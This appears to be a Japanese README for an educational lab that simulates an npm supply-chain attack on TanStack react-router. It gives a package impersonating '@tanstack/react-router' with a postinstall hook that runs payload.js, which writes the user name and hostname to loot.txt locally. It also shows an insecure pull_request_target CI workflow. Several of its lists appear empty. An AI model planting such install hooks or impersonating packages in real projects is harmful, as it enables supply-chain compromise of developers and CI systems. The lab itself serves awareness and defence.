
npmサプライチェーン攻撃、CI/CD悪用、インストール時コード実行の理解を目的とした教育用ラボ
このプロジェクトは以下の目的でのみ作成されています:
このプロジェクトを以下の目的で使用しないでください:
このラボは以下のインシデントの基本概念をシミュレーションします:
シミュレーションはローカルかつ安全に行われ、以下は含まれません:
lab/
├── fake-repo/ # ターゲットリポジトリのシミュレーション
├── attacker-package/ # 悪意のあるパッケージのシミュレーション
└── victim-project/ # 被害者のシミュレーション
攻撃者パッケージ
↓
npm install
↓
postinstallスクリプト実行
↓
payload.jsが自動実行
↓
被害者がインストール時実行の影響を受ける
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
結果:
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
成功すると、以下のメッセージが表示されます:
=== MALICIOUS PAYLOAD EXECUTED ===
また、以下のファイル:
loot.txt
が自動的に作成されます。
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
このプロジェクトは以下の理解にも使用できます:
ワークフローの例:
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| ラボシミュレーション | 実世界 |
|---|---|
| attacker-package | 侵害されたTanStackパッケージ |
| payload.js | 悪意のあるインストーラ |
| postinstall | ライフサイクルフックの悪用 |
このラボは以下の認識向上のために作成されています:
| victim-project |
| 被害者となる開発者/CI |
| fake-repo | GitHub Actionsパイプライン |